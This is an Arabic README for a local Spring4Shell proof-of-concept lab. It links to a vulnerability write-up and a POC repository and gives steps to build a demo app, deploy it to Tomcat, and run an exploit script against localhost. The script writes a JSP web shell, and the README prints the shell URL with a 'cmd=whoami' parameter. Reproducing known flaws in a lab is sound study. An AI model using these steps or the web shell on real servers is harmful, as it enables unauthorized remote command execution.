Spring4Shell POC

وصف الثغرة الأمنية: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

بناء إثبات المفهوم (POC): https://github.com/BobTheShoplifter/Spring4Shell-POC

خطوات البناء/التشغيل

تم الاختبار باستخدام JDK 11.0.14 و Spring Boot 2.6.5 و Apache Tomcat 9.0.60

• قم بتشغيل mvn clean package لبناء التطبيق
• أعد تسمية demo-0.0.1-SNAPSHOT.war إلى spring-poc.war وانسخ ملف .war هذا إلى دليل webapps الخاص بـ Tomcat
• قم بتشغيل python exp.py --url http://localhost:8080/spring-poc/greeting
  • في حالة النجاح، سيتم تسجيل الرسالة 漏洞存在，shell地址为:http://localhost:8080/spring-poc/tomcatwar.jsp?pwd=j&cmd=whoami
  • يجب أن ترى الآن ملف tomcatwar.jsp مكتوبًا في دليل webapps/spring-poc الخاص بـ Tomcat. يمكن تغيير هذا الدليل عن طريق تعديل exp.py.
    • 
  • انتقل إلى عنوان URL لرؤية نتيجة أمر الصدفة
    •